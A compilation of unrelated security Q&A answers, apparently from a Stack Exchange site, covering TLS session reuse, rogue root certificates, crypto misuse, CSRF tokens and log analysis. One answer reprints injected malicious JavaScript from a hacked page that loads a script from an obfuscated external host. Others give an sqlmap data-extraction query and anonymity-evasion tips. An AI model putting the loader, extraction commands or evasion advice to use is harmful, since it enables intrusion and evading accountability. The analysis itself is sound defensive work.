Since your implementation requires the cookie value to be read via client-side scripting (JavaScript) and then placed as a request header, it can break application functionality if it is set as HttpOnly (which prevents JavaScript from reading its value) at any point in future.


SSL session key usage when browser opens multiple sockets to same server

Browsers try to reuse the same TLS session for multiple TCP connections to the same server. But if this is possible depends on the server: if the server does not support session reuse a full handshake need to be done for each new TLS connection.

If session gets reused or not can be seen at least until TLS 1.2 in the developer tools in the browser. In the waterfall diagram of a request it gives the timing for the SSL handshake and one can compare the different timings: the first is usually longer than the rest since a full handshake  (no resume) takes more time (3 RTT) than a abbreviated handshake (resume, 2 RTT).


'Contract might be overkill'
When they sue you for damages, that contract will keep you from counting bars.
Get a lawyer, sit down with your professor and sketch out the scope. Then get a SoW signed by all authorized signatories of your university. There's no one size fits all solution.
You also say that you've exchanged a SoW over email - not enough. Get it signed on hard paper or using a online provider. It is extremely important that the signatories be authorized. I'm sure your professor is a nice person, but he could simple use you to discover holes in the system, sell them to a third party and throw you under the bus.
If you can't afford a lawyer, at least ensure that you're familiar with the local laws and regulations. I recommend that you read the PTES's Rules of Engagement. Some important points:

Ensuring that you have permission to test

Evidence handling

What to do when you come across personal information

The scope of the test

If you haven't already, I definitely recommend going through it. It'll keep you safe while you're working. Spending a night in the slammer is no fun.


What are some risks of purchasing a "used" domain name

Some common risks to check:

Domain has Bad reputation - check for any existing negative online reviews for the domain.

Domain is Blocked in search results - Risk of search engine turning off the domain in its search results due to the previous content, malware etc.

Domain is Black listed - Domain on black lists such as Web of Trust and spam lists.

Sometimes the Way Back Machine can show you the domain history.

EDIT:

IP / Trademark infringement - the domain you purchased may infringe registered trademarks: consult your legal advisor before purchasing


Why should I add a certificate to "Trusted Root Certification Authorities"?

Because the software wants to intercept HTTPS communications without making your browser throw certificate errors.

There are some legitimate uses for this, like parental controls/web filtering software, anti-phishing protection (where some software compares the URLs you're visiting against known malicious websites), etc. For example, Avast antivirus provides such anti-phishing/anti-malware protection.

This works by having your browser's traffic redirected through a proxy running on the local machine which will do an MITM attack on the traffic - every time you visit a site, you're actually talking to the proxy, which in turn will talk to the real server. The problem is, even if you trust the proxy to not be malicious, it needs to correctly validate the certificates presented by the remote servers (a task normally done by your browser), and if that's not done correctly it may connect to an attacker presenting a fake certificate which exploits some flaw in the proxy so that it'll still be labelled as valid. Your browser won't see anything because the browser only gets the certificate of the proxy (which is trusted because it's been added to your trusted certificate authorities).

Some software generate the private key and its unique certificate on the fly when installing (that's the appropriate way to do it), some other crap software use a hardcoded private key identical across all installations. What that means is once someone extracts it, they can do malicious MITM attacks on you because you have added that certificate (which corresponds to the now compromised private key) in your trusted CAs, so your computer will trust their server. This is exactly what happened with Superfish, it's adware so I will obviously say it deserves to burn in hell, but even then it wasn't intended to be that malicious, but unfortunately because of the incompetence of its developers it opened a massive security breach in lots of Lenovo PCs (as this garbage was installed by default on them).

I personally wouldn't trust any software that wants to intercept my HTTPS traffic, not even the antimalware ones (like Avast and possibly others), it's just too much of a risk if they happen to screw up certificate validation (and not being able to see the "real" certificate of the website in my browser is also a problem).

In your case, this software is malware, the low quality site is a dead giveaway, looks like someone just rushed this because they wanted to see their über-l33t HTTPS-intercepting malware in action. And they use some FUD to coerce you into installing their cert :

  MultiSwipe is a simple utility but in order for it to work correctly it needs to be able to control some of the users UI, so in order to install MultiSwipe you will need to first add the certificate that is located in the MultiSwipe directory of your download

The UI has absolutely nothing to do with certificates.

TLDR: don't install this software at all (even if you don't install a cert, it can still compromise your entire user account and possibly your machine if you run it as administrator - it's actually pretty lazy on their part to ask you to install the cert whereas they can do it themselves if you run it as admin).


How to get client to client login's log on domain server

I have a script that can help if you are on Windows Server:

function get-logonhistory{
Param (
 #get ip(127.0.0.1) and number of days you want get
 [string]$Computer = (Read-Host IP remoto do PC),
 [int]$Days = (Read-Host number of days)
 )
 cls
 $Result = @()
 Write-Host "wait..."
 $ELogs = Get-EventLog System -Source Microsoft-Windows-WinLogon -After (Get-Date).AddDays(-$Days) -ComputerName $Computer
 If ($ELogs)
 { Write-Host "processing..."
 ForEach ($Log in $ELogs)
 { If ($Log.InstanceId -eq 7001)
   { $ET = "Logon"
   }
   ElseIf ($Log.InstanceId -eq 7002)
   { $ET = "Logoff"
   }
   Else
   { Continue
   }
   $Result += New-Object PSObject -Property @{
    Time = $Log.TimeWritten
    'Event Type' = $ET
    User = (New-Object System.Security.Principal.SecurityIdentifier $Log.ReplacementStrings[1]).Translate([System.Security.Principal.NTAccount])
   }
 }
 $Result | Select Time,"Event Type",User | Sort Time -Descending | Out-GridView
 Write-Host "Done."
 }
 Else
 { Write-Host "Problem with ip $Computer."
 }
 }
#function call
get-logonhistory

Write-Host "Press any key ..."
#stop script to window dont close
$x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")


Finding Hidden Keylogger Through Forcing a Computation Error

The big problem you're going to run into if you're trying to find a keylogger by analyzing keypress latency is the monitor's refresh rate: most monitors only update 60 times per second.  A good keylogger is only going to add a few microseconds of latency, so even before you take other sources of noise (such as scheduler randomness) into account, you're handicapped by what is essentially a 1:10000 signal-to-noise ratio.  Yes, it's possible to find a signal that far below the noise floor (see Shannon limit), but it's not easy.


Anonymity from whom? Governments, or the average person you are making bitcoin exchanges with. These two differ widly. In the first (govs), anonymity is a bit more difficult since most people don't focus much on operational security (OPSEC) so little is thought about weaving together an alter ego. This means, most people are under the impression that they could use a proxy here, proxy there, maybe log in from Starbucks or some other coffee shop, and they're anonymous. The reality is, it all depends on what one does with this "pseudo" anonymity.

For the latter (making exchanges), where you would want to stay "pseudo" anonymous, a throwaway e-mail is sufficient. The average person is not going to get logfiles from service providers telling them who signed into a particular e-mail account, from what IP address. Even if they did, they would need to go to the ISP to figure out who the IP was allocated to. This becomes complicated.

Free mail... You get what you pay for. While I believe most e-mail service providers perform their due diligence in protecting your privacy, you need to remember they are all bound by laws. So if you intend on breaking any laws via way of bitcoin, anonymity is close to non existent without operational security.

TECHNICAL RESPONSES NOW Because my answer seems more to the tune of something which should be on a shady forum, I will talk about the technical sides of finding individuals. Using an example forensics/incident response case...

Someone registered a site, then used one of those domain proxies to hide their identity. This particular site was hosting information stolen from machines. My goal was to determine WHO owned the site, so I proceeded to go backwards using Archive.org. I viewed the site when it was created 5,6,7-10 years ago. In the 2nd year it was created, the website owner had one of those generic counters, tied to a username. From the username, I was able to piece together who owned the site. This is what I mean by operational security. Things have to be planned well thought, with an emphasis on keeping one's identity not only secret, but with attention deflected elsewhere for anonymity.


It looks like your eth0 connection on your Kali VM has its network adapter setup incorrectly and is actually using your host machine's network (192.168.128.*).

You need to make sure that your VMs are actually using the host-only network.

On your VMs, run ifconfig and check that eth0 is actually on your 10.1.1.* subnet. If it's not, you'll need to double check the eth0 connection setting within your VMs, and that the VMWare network settings for the VMs are correct.


Check on another device to see if the same behaviour occurs.

I don't believe removal of malware is the scope of this forum. However, I'd recommend you do an virus scan, check your BHOs and Addins on your browser.


It doesn't matter if its $_GET, $_POST, $_REQUEST, $_FILE  or even $_SERVER.  Its all user input and a there for a potential source of an attack.  What matters is how the user input is being used.   In the case of SQL Injection,  casting it to an int,  such as intval() works well.    However,  you should be using parameterized queries with a library like sqli, adodb, or pdo.

But sql injection is just one issue on the owasp top 10 and just one issue out of the thousands of vulnerability types tracked by the CWE system.  There is no magic wand to stop every vulnerability.


What are the advantages and disadvantages of different types of motion sensors?

Good answer @Adnan!

I am not sure what you are limiting your "motion sensor" question two, and his answer covered the common ones you find in typical systems. A few others, though to consider:

Active Fiber Optic - These typically are found in high-end perimeter barrier systems (like airport fences) and are used to detect motion and vibrations along the barrier.
Active Sonic - you have both ultra-sonic, as you noted, as well as sub-sonic. I won't get into the latter as it is a bit more exotic and only used for sensing in certain environments. These are of course active technologies - i.e., they send out a wave form and interpret it.
Active Tomographic - This is a radio wave, active sensing technology that can actually sense through walls and other obstructions. Your microwave would fall under this, and is just one type. The body scanners used at airports are even a higher frequency and are another type.
What Adnan referred to as Piezoelectric, is actually a generalized category of Vibration. These sensors can be piezoelectric, but can also be a wide range of other configurations: simple contact, spring based, ... Mercury switches are often used in these. Interestingly, due to the very small, easy to conceal, and nearly unimaginable number of configurations you can put these puppies in - these are often the hardest to take down if you are taking down a sensor. Good ones, even the slightest vibration beyond the norm for the environment create an alarm. So most often you have to identify the configuration of vibration sensors in the facility and create a vibration sensor alarm storm and get them cut off. But I digress.
Passive Electro-magnetic field sensors - These are out there, I have not run across many.
Passive chemical sensors (aka Electronic Nose) - Again these are out there, mostly in handheld units to do things like drug scans. However, they could be deployed in sensing environments to detect and screen for humans (like consider you are in a far off country hunting for a bad guy who is in the boondocks and you need to scan a trail that is used by both animals and humans).
Passive audio/acoustic sensors - these are emerging and actually are now going to be able to create 3D images of environments they sense. For instance, law enforcement can now deploy systems in hostile environments that can pinpoint to inches where a sniper is shooting from by the noise of the shot.
Passive pressure wave sensors - these could sense air pressure, water pressure, etc. As a person walks through a room they change the air flow and pressure wave and it is detectable. Again not in production environments but available.
I will also mention there are some very exotic, albeit non-production sensing technologies. I once saw a partial demonstration of what was called a Quantum Sensor. The theory was that space time has this weird 4th dimension "trail" that tapers off endlessly and with the right power equipment you can sense that trail forwards or backwards (like ripples in a pond after you drop a rock in it). The demonstration showed a very brief, but limited "hindsight", but never foresight - which of course you would need for "sensing". Of course it was very bulky equipment as well - so don't go looking for it in your average ADT security system anytime soon. But there is a lot of stuff like this that is going on all the time out there.


Unable to proxy Webgoat localhost requests in spite of doing the necessary configurations

Assuming this is an up-to-date version of Firefox you now need to visit about:config and set network.proxy.allow_hijacking_localhost to true

Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1535581


Hacked HTML page - what's in the comment following the obfuscated code?

When looking at the JavaScript that is written to the document, I see nothing that accesses the comment.
The JavaScript code:

var a = document.cookie; document.cookie = "hop=" + escape("hop") + ";path=/"; var b = navigator.appVersion,
    c = " " + document.cookie,
    d = null,
    e = 0,
    f = 0; if (c.length > 0) {
    e = c.indexOf(" hop=");
    if (e != -1) {
        e += 5;
        f = c.indexOf(";", e);
        if (f == -1) f = c.length;
        d = unescape(c.substring(e, f))
    } } if (d == "hop" && b.toLowerCase().indexOf("win") != -1 && a.indexOf("hip") == -1) {
    var g = ["keg", "kei", "ken", "kep", "kev", "kex", "key", "khi", "kid", "kif"],
        h = Math.floor(Math.random() * g.length);
    dt = new Date;
    dt.setTime(dt.getTime() + 8E7);
    document.cookie = "hip=" + escape("hip") + ";expires=" + dt.toGMTString() + ";path=/";
    document.write('<script type="text/javascript" src="http://' + g[h] + '.\x74\x61\x6b\x74\x69\x6b\x75\x2e\x62\x69\x7a/help/data.js"><\/script>') };

So, I suspect the string in the comment simply looks like Base64 but does in fact nothing at all, and may just have been put there to annoy security researchers because they can't decode it.
Anyway, I wrote a bit of JavaScript that removes characters from the beginning of the string and decodes it if it is valid Base64; however, it only comes up with garbled text.
var str=prompt();while(str.length){
  try{
    var decoded=atob(str);
    prompt("Base64 string "+str+" decoded:",decoded);
  }
  catch(ex){

  }
  str=str.substring(1)
}

Of course, the string may also be some kind of identifier used by the malware creator, or used in some other way.
I can't rule out the possibility that this is encrypted data either, because good encryption produces data that looks entirely random.


One computer on our network was hacked and stole hundreds of accounts on different websites - what are correct steps to take?

The best thing is to create a forensic image of the compromised system, note down the hash and store it securely for future reference if any government agency trace you back to the illegal activity.

Informing the website owners wouldn't be of much use as small service providers hardly care about security breach unless their website is defaced. However it is worth a try.

You should also consult your legal department and decide whether or not to disclose the incident to law enforcement.


In on itself it should be fairly secure as a concept, but generally speaking one should not rely on JavaScript for any kind of security. It's trivially easy to do injections and interceptions on any JavaScript code and doing complex math in JavaScript can easily trigger 'stop script' or any other browser script sanity checks so developers tend to either lower the security as much as possible or to downright break any convention just so their 'secure page' can work - which in turn leads to all kinds of problems.

But putting that aside, there are two potential problems I see with this particular implementation:

1. The word list is way too small - it picks randomly 12 words out of pool with only 1626 words which makes mere ~7.42x10^29 possible combinations assuming that the random is truly random. That's fairly lower than 128 bits of entropy (~3.4x10^38) - in fact almost half a billion times lower, so even with the assumption of true randomness or using the browser's crypto facilities you're getting at best 99 bits of entropy. Either increase the word list to ~8400 words or pick 17 words instead of 12 if you're aiming at 128 bit.
(Disregard this part, it applies only to unique pass generation.)

2. Relying on the user to generate sufficiently safe seed can easily break any security. Users are by definition lazy, and having them to move their mouse can end up in repetitive left-right movement over a small area (usually near the 'generate password' field) which can be exploited to lower the probability of picking some of the combinations at random. I'd add at least a delta check (if(Math.abs(lastX - e.pageX) < 20 || Math.abs(lastY - e.pageY)) return; ...) to force the users to move their mouse a bit more randomly. It wouldn't hurt to use some of the browser stats apart from the new Date to add to the seed as well.


Are there security risks in exposing a certificate?

In a PKI (public key infrastructure) scenario, there is no harm in exposing the certificate - in fact it is necessary to expose the certificate in a PKI scenario.  This is because the certificate contains the public keys of the server that you are creating the secure connection with.  Moreover, the certificate contains information about the party that operates this server, so that you can be sure that they 'are who they say they are' when you connect to the server.  This information is verified by a trusted third party certificate authority (CA), and the certificate is signed by the CA.

As an example, if you go to any secure web site (such as security.stackexchange.com or www.bankofamerica.com), you can easily view the site's certificate in your web browser by clicking on the padlock to the left of your address bar, then following these steps.

Now, in addition to the certificate, the server must have the private key that corresponds to the public key in the certificate.  The private key must not be exposed.  If it is, then anyone with the private key can impersonate the server or eavesdrop on a connection with the server.

However, the certificate is of no use to an attacker, if the attacker does not have the private key that corresponds to the public key in the certificate.  See Could a stolen certificate show as trusted? for more info.


1). No, assuming a secure block-cipher mode (e.g., CBC, CTR) was used (basically any mode other than ECB) provided the initialization vectors are not reused.  With ECB mode you could match up messages with patterns of repeated blocks in the plaintext to corresponding repeated blocks in the ciphertext.  See ECB description on wikipedia for more.

Reusing the same initialization vector with multiple messages would completely undermine block cipher modes like CTR that construct a stream cipher out of the IV which is then XOR'd with the plaintext message to create the ciphertext.  In CTR mode with a reused IV (again this is a misuse of AES, IV's are never supposed to be reused), all the plaintext messages will be XOR'd with the same bit-stream -- that the n-th ciphertext will be C[n] = AESCTR-stream(IV) ⊕ M[n] where M[n] is the plaintext message.  Note the following properties of XOR: it is commutative (x ⊕ y = y ⊕ x), associative (x ⊕ (y ⊕ z) = (x ⊕ y) ⊕ z), produces the zero bit-stream when XOR'd with itself (x ⊕ x = 0), and the zero bit-stream acts as the identity with XOR (x ⊕ 0 = x), hence (x ⊕ y ⊕ x = y).  Thus you can simply take any two plaintext messages M[i], M[j] and XOR them with all the ciphertexts until you find two pairs that match.  Note that C[n] ⊕ M[n] = AESCTR-stream(IV) ⊕ M[n] ⊕ M[n] = AESCTR-stream(IV), so at this point you've recovered the AES stream.  (You still don't have the key, but at this point you can decrypt or alter or forge any ciphertext that uses this reused IV).

2). No, there are no known attacks that are significantly better than brute force in terms of computationally feasible (e.g., without taking billions of computers billions of hours to have a minute chance of finding the key).  There are some published attacks on AES, but they either require very weird circumstances (e.g., related key attacks that require 264 messages to be encrypted with 231 keys that are specific variants of the original key) or biclique only give a very small speed up (a factor of ~4 faster than brute force - 2254 instead of 2256), so there are no practical ways to break AES just having the ciphertext and plaintext that are publicly known.


What exploit is trying to be leveraged here? (Apache access.log)

The request seems to match a butterfly vpn router (OpenWrt BTFLY-A 1.3.0 / LuCI 15.05 Branch), so someone probably used your IP for a vpn service in the past and there is an active endpoint querying it.
https://forum.openwrt.org/t/how-to-flash-openwrt-on-a-butterfly-vpn-router/73652


Why does DNSSEC have a ridiculous keysigning ceremony?

In theory, you're probably right.

In practice, you need to test all the policies, processes and tools regularly, else you don't know if the members involved are capable of executing the procedure.

From personal experience, there's a serious problem with authority and capability in key management.  People who have the authority don't have the capability, and people with the capability are in high demand and don't stay around long enough to be depended upon.  Even people with the capability and authority often don't have the diligence to keep up with the requirements.

Try handing your boss a USB key and tell him "you have to put this in your home safe, safety deposit box, or whatever.  You have to make sure that it doesn't corrupt over time, but that it's offline.  It's vital that you pass it on to whomever replaces you."  Don't ask him for that key or talk about that key for two years.  Then after two years, in an emergency, ask him to fly out to some datacenter with the key.  Or worse, ask the guy who replaced him.

Now you need 5 of 7 similar bosses around the world to show up and provide their keys.

By executing procedures periodically, you ensure that the processes are at least on people's calendars and on people's minds.  There's logs in the audit books and mistakes in procedures can be corrected.

N.b., I don't know much about the DNSSEC key signing ceremony, only skimmed the docs a couple times, but I do have experience managing key signing ceremonies and in security policies.


You don't need much to find his person. Just a cantenna and a rfmon sniffer like kismet or airodump-ng (from aircrack-ng). The signal levels displayed are in increasing negative numbers toward 0, where e.g. -67 is 'in range, and useable', -65 even better, -20 quite close, etc. The radiowaves bounce around, but these numbers cannot lie. Another proximity  indicator is the amount of ESSID broadcasts you pick up. 10 per second is 'nearby'. A cantenna will filter  signals from other directions out. Point it around, up and down. Eventually you will be standing outside the person's door. Screenrecord your entire scan.

Then, audibly call the police. Why audibly? Because you are standing outside of the attackers door, of course. The police are likely to respond, but cannot really do anything. Perhaps the spoofed AP went down after you called, or they knocked. That's because you stress the script kiddie. The police can talk, but not enter a residence. Let them talk to this person, and record it on your phone. It is only a deterrent, but unless you have seriously annoyed the attacker, he will most likely stop. Be painfully polite. The attack itself is trivial to do on Linux, so don't be too alarmed.


As far as I'm aware (and I don't have any concrete facts about this), iphone/android phones do not have any special storage area for secure data. However, if you use an OAUTH type app as a 2nd factor authentication, then this shouldn't normally be a huge concern (this is not the only means of authentication - you need a password too). Of course it depends on the situation.

Comparing to something like yubikey, I would imagine the following pros/cons or considerations to take into account:

Lost device - People easily notice when their phone is missing. Also they don't stay away from their phones for too long. Not necessarily so with something like yubikey, which you have to use only specifically for authentication (might not be very frequent)
Yubikey probably has better hardware protection and it's a dedicated device
With both, you should have good, quick procedure in place to revoke access. If someone lost their phone/key they should notify and the access blocked for this device as soon as possible
Cost - yubikey will cost extra if you already have a smart phone, but much less for people who don't
deployment - might be trickier to distribute the shared keys to smart phone users rather than buying a bunch of yubikeys and handing them to people
education - depends on your situation, people might be happier with an app on their phone, but some might prefer a separate device.
user-friendliness / mobility - as George Bailey pointed out, it should be easier to use the yubikey as it will automatically type in the key for you. However, if you want to access the app using your mobile phone, then yubikey is probably not usable at all without a USB port.


Format String Exploitation with limited number of characters possible?

PRINTF is not vulnerable on its own, so probably need to explain what it does with the output.

looks like you only need 2-3 characters

Read this: https://www.owasp.org/index.php/Format_string_attack


If recognizable data patterns in the plaintext do somehow weaken your symmetric encryption, then your symmetric encryption is pure junk and should not be used at all. Do not make your data format inconvenient and complex just to cope with the (assumed) shortcomings of the encryption algorithm; instead, use an algorithm which does things properly.

It is difficult to say more about it without a complete and precise description of the algorithm you use. However, in all generality, we may say that if you probably don't know enough to do things properly (or at least to know whether you did things properly). That's not to be depreciative of your abilities: cryptography is a very specialized subject, and it has the unique characteristic of not being testable. Nobody can really know whether what they implemented is secure; they can test that it works but not that it cannot be attacked.

This applies to trained cryptographers as well. In fact, what distinguishes a trained cryptographer from an "ordinary" developer is not that the cryptographer can design and implement a secure protocol by itself; he cannot either. The real difference is that the cryptographer knows that he cannot make something sufficiently secure by himself.

The way out of this problem is to use an established protocol. For instance, if you want to do "symmetric encryption", then take an existing standard which has been investigated and analysed by many people (e.g. OpenPGP). And then, don't even implement it yourself; instead, use an existing library which has also been reviewed, so that most bugs have been extirpated (e.g. GnuPG).


Transmitting Encrpyted Information to SaaS using AES

First, I suggest you do not attempt to reinvent the wheel: from your description, you're already out of your depth here and should attempt to build your own security this way (even using known good primitives).

Basically, you have to understand first if you want to protect your data in transit or at rest (or both).

If you want to encrypt data in transit, then use TLS. You can discuss what type of certificate or authentication, ponder about what support you need but at no point should you attempt to replace it with something of your own.

If you want to encrypt data at rest, things are a bit less clear cut. The general rule, however, stay the same: pick a set of standard that fits your need (S/MIME, PGP, PKCS#12 to name a few examples) and use that. You will quickly find out that the hard part is not encryption but key management: storing your cryptographic keys securely while still allowing them to be used when needed is a real challenge in pretty much all cases.

Here are however, a couple of answers to your questions:

IVs should be re-generated for EACH message and never reused. That is a requirement for CBC to be "secure". (note that, personally, when I had to deal with CBC I would rather perpend the data with a single block of random data that I would discard it when decrypting. I found it easier to deal with than keep track of IVs).

The key, however, is secret. Depending on your exact need, it can be static (never changing during normal operation) or dynamic (could be unique to each message and derived from either a key exchange protocol or randomly generated before being encrypted with an asymmetric cypher like RSA).

Speaking of CBC, know that it is NOT considered a secure mode: it can be vulnerable to padding oracle attacks.


There's a guide on how to do it here. Summary:

there is a simple way you can keep using your current DNS and make the changes locally to your PC instead to use Unblock-us's reverse proxies, without a DNS change. This involves editing your PC's HOST File and making the changes that unblock-us do on their public DNS, to your local PC.
For Netflix US for example, you need to make the following changes to your PC's HOSTS file:
204.12.200.61 movies.netflix.com
204.12.200.65 cbp-us.nccp.netflix.com


Who uses linkability-based survellance - other than mil intelligence?

I'm not sure what your actual question is, but it seems these days a bunch of kids on 4chan can do a better job enumerating and uncovering your identity than most of the 3-letter government agencies.

  to what degree would I need to adapt my internet service usage, in order to minimize the possibility of gathering a papertrail?

The Tor project covers this in depth, but here are some obvious points to consider:

Always use an adblocker/noscript plugin. Social media sites and advertisers track your browsing patterns by tracking what assets of theirs you hit, and from what sites. This data can be subpoenaed.
Never use OAuth where it is presented as an option. You create a central map of all of your accounts on the Google/Facebook/etc database, which could be subpoenaed or enumerated via social engineering.
Never use the same identity twice. If I search for "Seraglio" in the context of paranoid anti-surveillance and/or conspiracy theories, I shouldn't be able to find other comments you've made about the subject or your interest in overthrowing the government. Every account you make should be disposable and created from an IP address/email address that has no connection to you.
Never use the same password twice (or, the corollary-- use only the most obvious, dumbest, easy-to-guess password possible: i.e. "password123"). Once a site gets popped and your password is known, if it happens to work on another site there's a high likelihood the two sites have an entity in common-- you.
Never use the same IP address twice. Use Tor for as much of your traffic as possible, and route across international borders wherever possible (if you can route through Russia or China, you're politically invincible). The guy that ran KickAssTorrents ultimately got busted because his domestic IP address on iTunes matched an IP address used to log into the KAT Facebook page (which means data got subpoenaed or leaked from both iTunes and Facebook).
Don't use avatars ever, especially on Gravatar (SE uses it). Don't even post a cartoon or video game illustration. Reverse image search can dig up everyplace it's ever been used, which helps the entity resolution process.
Try to stay off the grid. The credit bureaus track every address you've ever been associated with by virtue of all of your utility connections, credit applications and more. The good news is federal law mandates your consent, so if someplace says they're going to run a credit check on you, even if you're not trying to borrow money, your current whereabouts are being uploaded and updated the time of the request. Criminals regularly exploit this in the case of fraud, but either way this information is regularly subpoenaed.

Total anonymity is a myth (everything leaves a digital footprint, and the US government allegedly owns a not-insignificant portion of the Tor network), so the best you can hope for is to muddy the waters so much that nobody can see who you are through it. Think of it like money laundering, but for your identity.

Addendum:

  I'm not too concerned about being traceable by national military
  surveillance, or authorities in federal/unitary states, because I'm
  not in any way involved in stuff that would motivate them looking into
  me - certainly not as a primary object. Their logs of me will just
  forever sleep deep down their databases, probably never to be seen. My
  political convictions on surveillance policy overall, that's another
  discussion.

  What I am concerned about, are private actors or organizations, partly
  in the shades, even some legit security firms, which could be
  targeting me, or can be hired by companies who .. for example, wish to
  get rid of their competition (me) using ugly methods, or simply take
  what I got or do extortion of several kinds (the opportunity makes the
  thief). Or I might just happen to step on the toes of an extremist
  organization (like Scientology etc) who will then be set to destroy my
  life, frame one for crimes etc. Overall some actor which decides to
  seriously mess up one’s life, take one's assets etc.

You're being naive. Scientology, et al. have friends in high places.

The government may collect a bunch of data on you and do nothing with it, but APT actors are always targeting government and defense contractor assets, and if they get their hands on that data, then all bets are off as to what could be done with it.

Driving on the road, you're fairly anonymous-- only your license plate number is known to those around you. But if someone with a friend in LE gets them to run the plate, now someone you may have offended on the road has your name and home address.


How can I use sqlmap to get only a certain number of records in SQL Server using a LIMIT and OFFSET?

--sql-query
Like Arminius said, you can use --sql-query to specify an ordinary SQL statement. Provided you know the table/database name, you could use something like this:
--sql-query="use db; SELECT * FROM table OFFSET 5000 ROWS FETCH NEXT 4000 ROWS ONLY;"

That would only work on SQL Server 2012 and above. For earlier versions, you'll need something like ROW_NUMBER().


There is little you can or need to do to guard the CSRF token. Perhaps there is more, but I can only think of four things:

Don't put it in a URL parameter where it will be logged in all sorts of places.
If you are only serving your site over HTTPS, mark any cookies involved as secure.
Invalidate the token both client side (via cookie settings) and server side so that old tokens can not be used.
Be careful with CORS so that you do not accidentally make something containing the token available from another origin.

And then there is the issue of XSS. If you are vulnerable to that, it could be used to steal the CSRF token, since it can not be HTTP-only. There is nothing you can do about this, other than making sure you are not vulnerable to XSS. Use CSP, sanitize your input with a good library, scan your site, etc, etc.

However, if you have XSS issues you have bigger problems than the CSRF token being stolen.


Can a mobile number ring if the person has not inserted their simcard into their phone?

I don't think this is a security question.

But anyway I think your person lied to you. Everyone knows the voice telling something like The person you have called is temporary not available. If a cellphone has no contact to the network or is switched of or the sim is not in the cellphone you get either this message or the mailbox.


Conditions for reusing client certs in TLSv1

SSL/TLS supports a performance optimization called session resumption. It allows you to continue a previous connection, reducing the standard 5 messages

down to 3 messages

(image from Vincent Berat's blog)

For session resumption to work, you need both a server and client that support this functionality. From your description, it sounds like your server and some of your clients support session resumption, while other clients don't. Note that just because both the client and server support session resumption, it doesn't mean it will happen. The client and/or the server may decide to free up the resources used to hold session resumption information for any reason. If they do this, a full TLS handshake will be required if there is further communication.


additional network security benefits from double hop dmz?

That diagram appears incorrect. Typically you have it arranged slightly differently if you are using two layers of firewalls.

Core network-->Inner firewall-->DMZ-->Perimeter firewall-->Internet user

This lets you protect not only the servers in the DMZ from at least some attacks from outside, you also protect your core network from attack from a compromised device in the DMZ.

In reality, you may have one firewall appliance acting as both inner and outer firewalls, as well as segregating sections of the DMZ from each other (eg by service, or by risk profile, or by platform), through multiple interfaces and/or VLANs, or you may use separate firewalls from different vendors in order to avoid a compromise of both through one exploit. This will all depend on your risk and threat profile.


It appears that your server is the target of an automated attack involving the ZmEu scanner.

That first request appears to be from another automated attack involving the Morfeus Scanner.

That last request appears to be an attempt to exploit vulnerabilities in the Home Network Administration Protocol (HNAP) implementations of D-Link routers. More information about the attack can be found here.

From a cusory glance at the request it's making, I'd say you have nothing to worry about if you aren't running phpmyadmin on your systems. Such attacks are commonplace for servers connected to the internet and the scans are getting 404's indicating that your server does not have what they are looking for.


JS frontend for RESTful backend vs authorization

Supposing you at least hash+salt the password of your users in the database, your workflow seems correct.

But I'd like to add two things :

DON'T PUT THE USER'S PASSWORD IN THE TOKEN, it's not secure at all and totally useless. The expiration_date is also useless here. Just put a sha1(username + 'randomly generated string') and you will be good.
If the expiration_date has expired, you shouldn't auto reauth the user, but ask her to log in again. Because if you do as you say, why use a expiration_date then?

For my #1, since your token is sha1(username+password+expiration_date), as an attacker, I can know the username, the expiration_date and the access_token, results of the sha1.

I only have to build a local brute force system that will try all the combination of the password possible, and compare sha1(username + "current testing password" + expiration_date) to the given access_token, and once I find it, I'll know the password :/


If a server has SSH only access, will files rsync'ed on and off that server be transferred securely?

Rsync over ssh is intended to be secure, and operates by opening a tunnel via ssh, securing the entire transfer.  It doesn't use its own built in protocol but uses the actual ssh implementation on the computer itself. It is safe to assume that rsync over ssh is secure in exactly the same way that any other well maintained open source system built with security in mind is secure. Which is to say, it is very reasonable to trust it in this case, but any software can have bugs, so always keep your system up-to-date.

https://unix.stackexchange.com/questions/197684/how-does-rysnc-work-over-ssh


Amazon gift card phishing/spam -- what's the point?

It turns out to be genuine.
The fact that my manager didn't know anything about it is odd (and I'll be following up on that). Some of the key phrases mentioned in the email matched phrases mentioned in a meeting today, which led me to try to redeem the card -- and it worked.
I mentioned that Amazon confirmed that nobody had sent me a gift card. I should have realized that wasn't meaningful, since the email only gave me a claim code and didn't refer to my Amazon account.
I'll also encourage the organization within the (rather large) company that sent the card to be clearer about where it's from, like mentioning the name of the company.


For anything really sensitive, it's hard to justify using Teleport given how young it is.

OpenSSH is battle-tested and has had 10000's of developer hours spent on it, as well as countless audits.

OpenSSH is also guaranteed to be around for a long time to come.


Create revocation certificate for all user IDs

When creating a revocation certificate, GnuPG prints the key's primary/default user ID to help you identify the key. The revocation certificate is not including any user ID, but targets the primary key.

You should be able to verify that using gpg --list-packets or pgpdump, you should observe a signature type 0x20 (key revocation), not type 0x30 which is a certification revocation (user IDs are bound by your primary key through a self-signature/self-certification, which is revoked when you want to revoke a user ID).

A revocation certificate on the primary key also invalidates subkeys, user IDs and certifications issued by that key.


Yes you can decompile the executable. That isn't what SGX is designed to protect against. Short of encrypting code in a way that only the hardware holds the key to decrypt it you can always reverse engineer an executable.

What SGX gives you is protection against a running program being read or modified by another process / user. Don't forget the executable does not have to be present on persistent media once it has been loaded into memory. You can run an entire system in RAM only. If it were loaded into SGX enclaves it should be protected from the rest of the system.


100% detectable backdoor attacks on network

I'm not really sure what you are asking. For me it looks like you are mainly complaining about the fuzzy answers you get regarding backdoors and you'll like to get some clear yes|no answers which kinds of backdoors can be found and which can not be found. Only it is not that simple.

First, while "backdoor" sounds like it was deliberately added and many are, most backdoors into systems probably result from inadvertently added bugs which can be used as backdoor by a knowledgeable attacker (and then of course the backdoors done with the help of inside users by employing phishing mails or similar).

In theory all such backdoors/bugs can be found given unlimited time and resources - only nobody has unlimited time and resources. But with more time and resources more backdoors can be found, i.e. the ability of detecting backdoors is related to the amount of money one can throw at the problem. Only, the ones who have a lot of money are usually also the ones who are most likely to get attacked with the more advanced and hard to find backdoors since the purpose of the backdoors is ultimately to get a high return on investment - and the more money or equivalent (information, data...) are there the more attractive the target is.

